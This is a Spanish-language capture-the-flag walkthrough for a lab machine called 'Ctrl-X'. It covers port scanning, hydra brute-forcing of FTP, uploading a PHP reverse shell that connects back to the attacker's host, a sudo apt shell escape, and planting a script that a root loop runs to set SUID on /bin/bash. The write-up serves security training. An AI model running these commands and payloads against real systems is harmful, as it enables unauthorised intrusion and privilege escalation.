CTF Ctrl-X Easy

URL Download CTF = https://drive.google.com/file/d/14LjrCa2t_gjbWK8rakQjuHu3qX8k3S9K/view

Instalación

Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.

unzip ctrl-x.zip

Nos lo descomprimira y despues montamos la maquina de la siguiente forma.

bash auto_mount.sh ctrl-x.tar

Info:

___________________¶¶
____________________¶¶__¶_5¶¶
____________5¶5__¶5__¶¶_5¶__¶¶¶5
__________5¶¶¶__¶¶5¶¶¶¶¶5¶¶__5¶¶¶5
_________¶¶¶¶__¶5¶¶¶¶¶¶¶¶¶¶¶__5¶¶¶¶5
_______5¶¶¶¶__¶¶¶¶¶¶¶¶¶¶¶_5¶¶__5¶¶¶¶¶5
______¶¶¶¶¶5_¶¶¶¶¶¶¶¶¶¶¶¶¶5¶¶¶__¶¶¶¶5¶5
_____¶¶¶¶¶¶_¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶_¶¶¶¶¶¶¶5
____¶¶¶¶¶¶¶_¶¶¶5¶¶¶¶5_¶¶¶¶¶5_5¶_¶¶¶¶¶¶¶¶5
___¶¶¶¶¶¶¶¶__5¶¶¶¶¶¶5___5¶¶¶¶__5¶¶¶¶¶¶¶¶¶5
__¶¶¶¶¶¶¶¶¶¶5__5¶¶¶¶¶¶5__5¶¶5_5¶¶¶¶¶¶¶¶¶¶¶
_5¶¶¶¶¶¶¶¶¶¶¶¶_5¶¶¶¶¶¶¶¶¶5__5¶¶¶¶¶¶¶¶¶¶¶¶¶5
_¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶_5¶¶¶¶
5¶¶¶¶¶¶¶¶¶¶¶¶5___5¶¶¶¶¶¶¶5__¶¶¶¶5_¶¶¶5_¶¶¶¶
¶¶¶¶¶¶¶¶_¶¶5_5¶5__¶¶¶¶¶¶¶¶¶5_5¶¶¶_5¶¶¶_5¶¶¶5
¶5¶¶¶¶¶5_¶¶_5¶¶¶¶¶_¶¶¶¶¶¶¶¶¶¶5_5¶¶_5¶¶¶_¶¶¶5
¶¶¶¶_¶¶__¶__¶¶¶¶¶¶5_5¶¶¶¶¶¶¶¶¶¶5_¶¶_5¶¶_5¶¶¶
¶¶¶5_5¶______5¶¶5¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶5_¶¶_5¶5_¶5¶
5¶¶____5¶¶¶¶5_____5¶¶¶¶¶¶¶5_¶¶¶¶¶5_¶__¶¶_5¶¶
_¶¶__5¶¶¶¶¶¶¶¶¶¶5____5¶¶¶¶¶¶_¶¶¶¶¶_____¶5_¶¶
_¶¶___5¶¶¶¶¶¶¶¶¶__________5¶5_¶¶¶¶¶____¶¶_¶¶
_¶¶_______5¶¶¶¶¶¶5____________¶¶¶¶¶_____¶_¶¶
_5¶5________5¶¶_¶¶¶¶5________5¶¶¶¶¶_______¶¶
__¶¶__________¶___¶¶¶¶¶5___5¶¶¶¶¶¶5_______¶5
__¶¶____________5¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶________¶
___¶________________5¶¶¶¶¶¶¶¶5_¶¶
___¶__________5¶¶¶¶¶¶¶¶5¶¶¶5__5¶5
_____________________5¶¶¶5____¶5

                                           
 ##   ##    ##       ####   ###  ##  #######  ######   ####       ##     ######    #####  
 ##   ##   ####     ##  ##   ##  ##   ##   #   ##  ##   ##       ####     ##  ##  ##   ## 
 ##   ##  ##  ##   ##        ## ##    ## #     ##  ##   ##      ##  ##    ##  ##  #       
 #######  ##  ##   ##        ####     ####     #####    ##      ##  ##    #####    #####  
 ##   ##  ######   ##        ## ##    ## #     ## ##    ##   #  ######    ##  ##       ## 
 ##   ##  ##  ##    ##  ##   ##  ##   ##   #   ##  ##   ##  ##  ##  ##    ##  ##  ##   ## 
 ##   ##  ##  ##     ####   ###  ##  #######  #### ##  #######  ##  ##   ######    #####  
                                         

Estamos desplegando la máquina vulnerable, espere un momento.

Máquina desplegada, su dirección IP es --> 172.26.0.2

Presiona Ctrl+C cuando termines con la máquina para eliminarla

Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-24 11:17 EDT
Nmap scan report for 172.26.0.2
Host is up (0.000067s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.5
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Hacker Zone
MAC Address: 02:42:AC:1A:00:02 (Unknown)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.21 seconds

Si nos intentamos conectar al ftp veremos que requiere de un usuario, ya que no permite anonimo.

Si nos vamos a la pagina web, veremos que hay una seccion en la que aparecen 3 usuarios.

ftpuser sshuser tomcatuser

Por lo que nos podriamos crear un diccionario de usuarios y tirarlo con un rockyou.txt al servidor ftp pero probaremos con el primer usuario solo.

hydra -l ftpuser -P <WORDLIST> ftp://<IP> -t 64

Info:

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-24 11:20:56
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task
[DATA] attacking ftp://172.26.0.2:21/
[STATUS] 864.00 tries/min, 864 tries in 00:01h, 14343549 to do in 276:42h, 50 active
[21][ftp] host: 172.26.0.2   login: ftpuser   password: bebita
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 14 final worker threads did not complete until end.
[ERROR] 14 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-08-24 11:22:06

Por lo que vemos nos saca las credenciales, pero al conectarnos a el no veremos mucho, por lo que intentaremos seguir buscando en la pagina web.

Gobuster

gobuster dir -u http://<IP>/ -w <WORDLIST> -x html,php,txt -t 100 -k -r

Info:

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://172.26.0.2/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,php,txt
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess.html       (Status: 403) [Size: 275]
/.htaccess            (Status: 403) [Size: 275]
/.htpasswd.txt        (Status: 403) [Size: 275]
/.htpasswd.php        (Status: 403) [Size: 275]
/.htaccess.php        (Status: 403) [Size: 275]
/.htaccess.txt        (Status: 403) [Size: 275]
/.htpasswd            (Status: 403) [Size: 275]
/.htpasswd.html       (Status: 403) [Size: 275]
/index.html           (Status: 200) [Size: 4515]
/server-status        (Status: 403) [Size: 275]
/uploads              (Status: 200) [Size: 741]
Progress: 81876 / 81880 (100.00%)
===============================================================
Finished
===============================================================

Por lo que vemos hay un directorio llamado /uploads y si nos metemos en el no encontraremos nada, pero puede ser que ftp y este directorio esten combinados, por lo que probaremos a subir un archivo con una reverse shell para ver si lo vemos en el directorio web.

FTP uploads

ftp ftpuser@<IP>

Metemos la contarseña obtenida anteriormente y estaremos dentro.

shell.php

<?php
$sock=fsockopen("<IP>",<PORT>);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
?>
put shell.php

Info:

local: shell.php remote: shell.php
229 Entering Extended Passive Mode (|||18605|)
150 Ok to send data.
100% |*******************************************************************************************************************************************|   114        1.90 MiB/s    00:00 ETA
226 Transfer complete.
114 bytes sent in 00:00 (378.66 KiB/s)

Y ahora le pondremos todos los permisos.

chmod 777 shell.php

Una vez hecho esto, si nos vamos al directorio web de /uploads veremos el archivo shell.php pero antes de darle estaremos a la escucha.

Reverse Shell

nc -lvnp <PORT>

Estando a la escucha le daremos, una vez clicado, si nos vamos a la escucha tendremos una shell con el usuario www-data.

connect to [192.168.5.145] from (UNKNOWN) [172.26.0.2] 41088
whoami
www-data

Ahora sanitizaremos la shell (TTY).

script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash

# Para ver las dimensiones de nuestra consola en el Host
stty size

# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>

Escalate user tomcat

Si nos vamos al siguiente directorio.

cd /var/www/html

Veremos un archivo .txt llamado super_secure_note_tomcat.txt que si lo leemos pone lo siguiente.

tomcat:tomcat
tomcat:tomcatel
tomcat:tomcatelmejorsuper
tomcat:tomcatelmejorsupersecure
tomcat:tomcatelmejor
tomcat:tomcatelmejorsupersecurepassword
tomcat:tomcatelmejordetodos
tomcat:tomcatelpeorperomejor
tomcat:tomcasoloasimegusta
tomcat:tomcatelmejordetodosdelmundo

Parece ser contraseñas para el usuario tomcat pero sabremos que una es la verdadera.

Si probamos la que dice tomcat:tomcatelmejor veremos que funciona.

Por lo que haremos.

su tomcat

Y metemos como contraseña tomcatelmejor por lo que ya seremos el usuario y leeremos la flag.

user.txt

b1ce018caed50700faffff22b16f5903

Escalate user deamon

Si hacemos sudo -l veremos lo siguiente.

Matching Defaults entries for tomcat on 48b4171dbb9e:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User tomcat may run the following commands on 48b4171dbb9e:
    (deamon : deamon) NOPASSWD: /usr/bin/apt

Podemos ejecutar como el usuario deamon el binario de apt por lo que haremos lo siguiente.

URL = https://gtfobins.github.io/gtfobins/apt/#sudo

sudo -u deamon apt changelog apt

Y cuando estemos dentro del changelog escribimos lo siguiente.

!/bin/sh

Despues para tener una bash.

/bin/bash

Y con esto ya seremos el usuario deamon.

Escalate Privileges

Si vemos los procesos que se estan corriendo, veremos uno en el que root esta ejecutando en forma de bucle un script en /usr/local/bin/ llamado deamon.sh que si lo leemos para ver que hace, vemos lo siguiente.

#!/bin/bash

# ------------------------------------------------------------------------------
# Inicio del Script
# ------------------------------------------------------------------------------
# Este script realiza diversas operaciones comunes en bash, como manejo de archivos,
# directorios y control de flujo. Cada sección está comentada para explicar lo que
# está haciendo.
# ------------------------------------------------------------------------------
echo "Inicio del script: Configuración y ejecución de tareas."
# Imprime un mensaje indicando que el script ha comenzado.

# ------------------------------------------------------------------------------
# Configuración de Variables
# ------------------------------------------------------------------------------
# En esta sección, definimos varias variables que se usarán en el resto del script.
# Esto ayuda a mantener el código limpio y más fácil de mantener.
# ------------------------------------------------------------------------------
echo "Configurando variables..."
# Imprime un mensaje indicando que se están configurando las variables.

# Definición de una variable que contiene un saludo
GREETING="Hola, bienvenido al script de demostración."
# Crea una variable llamada GREETING que almacena un saludo.

# Definición de una variable para el directorio de trabajo
WORK_DIR="/tmp/demonstration"
# Crea una variable llamada WORK_DIR que almacena la ruta del directorio de trabajo.

# Definición de una variable para el archivo de ejemplo
EXAMPLE_FILE="$WORK_DIR/example.txt"
# Crea una variable llamada EXAMPLE_FILE que almacena la ruta del archivo de ejemplo.

# ------------------------------------------------------------------------------
# Preparación del Entorno de Trabajo
# ------------------------------------------------------------------------------
# Aquí se preparan los directorios y archivos necesarios para la demostración.
# Se aseguran de que el entorno esté listo antes de realizar otras operaciones.
# ------------------------------------------------------------------------------
echo "Preparando el entorno de trabajo..."
# Imprime un mensaje indicando que se está preparando el entorno de trabajo.

# Comprobamos si el directorio de trabajo ya existe
if [ ! -d "$WORK_DIR" ]; then
    # Si el directorio no existe, ejecutamos este bloque de código
    echo "Creando directorio de trabajo en $WORK_DIR..."
    # Imprime un mensaje indicando que el directorio se está creando.
    mkdir -p "$WORK_DIR"
    # Crea el directorio de trabajo, incluyendo cualquier subdirectorio necesario.
else
    # Si el directorio ya existe, ejecutamos este bloque de código
    echo "El directorio de trabajo ya existe en $WORK_DIR."
    # Imprime un mensaje indicando que el directorio ya existe.
fi

# ------------------------------------------------------------------------------
# Operaciones con Archivos
# ------------------------------------------------------------------------------
# Esta sección maneja la creación, verificación, lectura y eliminación de archivos.
# Se muestran diferentes operaciones básicas que se pueden realizar con archivos.
# ------------------------------------------------------------------------------
echo "Realizando operaciones con archivos..."
# Imprime un mensaje indicando que se están realizando operaciones con archivos.

# Crear un archivo de ejemplo con contenido inicial
echo "Creando archivo de ejemplo en $EXAMPLE_FILE..."
# Imprime un mensaje indicando que se está creando el archivo de ejemplo.
echo "Este es un archivo de ejemplo creado para demostrar el manejo de archivos." > "$EXAMPLE_FILE"
# Crea el archivo de ejemplo con contenido inicial.

# Verificar si el archivo fue creado correctamente
if [ -f "$EXAMPLE_FILE" ]; then
    # Si el archivo existe, ejecutamos este bloque de código
    echo "Archivo creado exitosamente: $EXAMPLE_FILE"
    # Imprime un mensaje indicando que el archivo fue creado exitosamente.
else
    # Si el archivo no existe, ejecutamos este bloque de código
    echo "Error: No se pudo crear el archivo $EXAMPLE_FILE"
    # Imprime un mensaje indicando que hubo un error al crear el archivo.
fi

# Leer el contenido del archivo
echo "Leyendo el contenido del archivo..."
# Imprime un mensaje indicando que se está leyendo el contenido del archivo.
cat "$EXAMPLE_FILE"
# Muestra el contenido del archivo en la terminal.

# ------------------------------------------------------------------------------
# Manejo de Directorios
# ------------------------------------------------------------------------------
# En esta sección, se crean y manejan directorios adicionales, así como la
# organización de archivos dentro de esos directorios.
# ------------------------------------------------------------------------------
echo "Manejando directorios..."
# Imprime un mensaje indicando que se están manejando directorios.

# Ruta del script que deseas ejecutar
SCRIPT_PATH="/home/deamon/good"

# Ejecutar el script
bash "$SCRIPT_PATH"

# Crear subdirectorios dentro del directorio de trabajo
SUB_DIR1="$WORK_DIR/subdir1"
SUB_DIR2="$WORK_DIR/subdir2"
# Define las rutas para los subdirectorios dentro del directorio de trabajo.
echo "Creando subdirectorios $SUB_DIR1 y $SUB_DIR2..."
# Imprime un mensaje indicando que se están creando los subdirectorios.
mkdir -p "$SUB_DIR1" "$SUB_DIR2"
# Crea los subdirectorios especificados.

# Mover el archivo de ejemplo a un subdirectorio
echo "Moviendo archivo a $SUB_DIR1..."
# Imprime un mensaje indicando que el archivo se está moviendo.
mv "$EXAMPLE_FILE" "$SUB_DIR1/"
# Mueve el archivo de ejemplo al subdirectorio especificado.

# Verificar si el archivo fue movido correctamente
if [ -f "$SUB_DIR1/example.txt" ]; then
    # Si el archivo existe en el nuevo directorio, ejecutamos este bloque de código
    echo "Archivo movido exitosamente a $SUB_DIR1"
    # Imprime un mensaje indicando que el archivo fue movido exitosamente.
else
    # Si el archivo no se encuentra en el nuevo directorio, ejecutamos este bloque de código
    echo "Error al mover el archivo a $SUB_DIR1"
    # Imprime un mensaje indicando que hubo un error al mover el archivo.
fi

# ------------------------------------------------------------------------------
# Ejecución de Comandos Externos
# ------------------------------------------------------------------------------
# Esta sección demuestra cómo ejecutar comandos externos y manejar su salida.
# ------------------------------------------------------------------------------
echo "Ejecutando comandos externos..."
# Imprime un mensaje indicando que se están ejecutando comandos externos.

# Listar archivos en el directorio actual
ls -l
# Ejecuta el comando `ls -l` para listar los archivos en el directorio actual con detalles.

# Simular una tarea de red
echo "Simulando descarga..."
# Imprime un mensaje indicando que se está simulando una descarga.
sleep 2
# Pausa la ejecución del script durante 2 segundos para simular una tarea.
echo "Descarga simulada completa."
# Imprime un mensaje indicando que la descarga simulada ha sido completada.

# ------------------------------------------------------------------------------
# Operaciones con Variables
# ------------------------------------------------------------------------------
# Esta sección muestra cómo trabajar con variables definidas anteriormente.
# ------------------------------------------------------------------------------
echo "Operaciones con variables..."
# Imprime un mensaje indicando que se están realizando operaciones con variables.

# Imprimir valores de variables
echo "Valor de GREETING: $GREETING"
# Imprime el valor de la variable GREETING.
echo "Valor de WORK_DIR: $WORK_DIR"
# Imprime el valor de la variable WORK_DIR.
echo "Valor de EXAMPLE_FILE: $EXAMPLE_FILE"
# Imprime el valor de la variable EXAMPLE_FILE.

# ------------------------------------------------------------------------------
# Uso de Condiciones
# ------------------------------------------------------------------------------
# En esta sección, se demuestran las estructuras condicionales básicas en bash.
# ------------------------------------------------------------------------------
echo "Verificando condiciones..."
# Imprime un mensaje indicando que se están verificando condiciones.

# Verificar si un número es mayor que 20
NUM=42
# Define una variable NUM con un valor.
if [ "$NUM" -gt 20 ]; then
    # Si el número es mayor que 20, ejecutamos este bloque de código
    echo "$NUM es mayor que 20"
    # Imprime un mensaje indicando que el número es mayor que 20.
else
    # Si el número no es mayor que 20, ejecutamos este bloque de código
    echo "$NUM no es mayor que 20"
    # Imprime un mensaje indicando que el número no es mayor que 20.
fi

# ------------------------------------------------------------------------------
# Ciclos
# ------------------------------------------------------------------------------
# Esta sección muestra el uso de bucles `for` y `while` para realizar tareas repetitivas.
# ------------------------------------------------------------------------------
echo "Ejecutando ciclos..."
# Imprime un mensaje indicando que se están ejecutando ciclos.

# Bucle for simple
for i in {1..5}; do
    # Inicia un bucle for que itera del 1 al 5
    echo "Iteración $i"
    # Imprime el número de iteración.
    sleep 1
    # Pausa la ejecución del script durante 1 segundo.
done

# Bucle while simple
count=0
# Define una variable count con un valor inicial de 0.
while [ $count -lt 3 ]; do
    # Inicia un bucle while que continúa mientras count sea menor que 3.
    echo "Contador: $count"
    # Imprime el valor del contador.
    count=$((count + 1))
    # Incrementa el valor del contador en 1.
    sleep 1
    # Pausa la ejecución del script durante 1 segundo.
done

# ------------------------------------------------------------------------------
# Manejo de Errores
# ------------------------------------------------------------------------------
# Esta sección muestra cómo manejar errores al ejecutar comandos.
# ------------------------------------------------------------------------------
echo "Manejo de errores..."
# Imprime un mensaje indicando que se está manejando errores.

# Intentar crear un directorio que ya existe
mkdir "$WORK_DIR" 2>/dev/null
# Intenta crear el directorio nuevamente (no se mostrará ningún error si ya existe).

# Verificar el código de salida del comando anterior
if [ $? -eq 0 ]; then
    # Si el comando se ejecutó exitosamente (código de salida 0)
    echo "Directorio creado exitosamente."
    # Imprime un mensaje indicando que el directorio fue creado exitosamente.
else
    # Si hubo un error (código de salida diferente de 0)
    echo "El directorio ya existe o no se pudo crear."
    # Imprime un mensaje indicando que hubo un problema al crear el directorio.
fi

# ------------------------------------------------------------------------------
# Limpieza
# ------------------------------------------------------------------------------
# En esta sección, eliminamos archivos y directorios creados durante la ejecución del script.
# Esto ayuda a mantener el sistema limpio después de la ejecución del script.
# ------------------------------------------------------------------------------
echo "Limpiando entorno..."
# Imprime un mensaje indicando que se está realizando la limpieza.

# Eliminar archivos y directorios creados durante la ejecución
rm -rf "$WORK_DIR"
# Elimina el directorio de trabajo y todo su contenido de manera recursiva y forzada.

# ------------------------------------------------------------------------------
# Fin del Script
# ------------------------------------------------------------------------------
# Esta es la última sección del script. Aquí concluimos la ejecución del script.
# ------------------------------------------------------------------------------
echo "Proceso completado."
# Imprime un mensaje indicando que el proceso del script ha sido completado.

# Salir del script con un código de estado exitoso
exit 0
# Finaliza la ejecución del script y retorna un código de estado 0, indicando éxito.

Ejecuta todo eso, pero hay una linea interesante.

# Ruta del script que deseas ejecutar
SCRIPT_PATH="/home/deamon/good"

# Ejecutar el script
bash "$SCRIPT_PATH"

Por lo que vemos esta ejecutando todo el rato un script en la home de deamon, pero si vamos alli no hay nada, por lo que lo crearemos nosotros.

good

#!/bin/bash

chmod u+s /bin/bash

Lo guardamos y si esperamos un poco, lo comprobaremos.

ls -la /bin/bash

Info:

-rwsr-xr-x 1 root root 1446024 Mar 31 10:41 /bin/bash

Vemos que funciono, por lo que haremos lo siguiente para ser root.

bash -p

Y con esto ya seremos root, por lo que leeremos la flag.

root.txt

97e2171b74984a382b62fcb39ab893c8

Last updated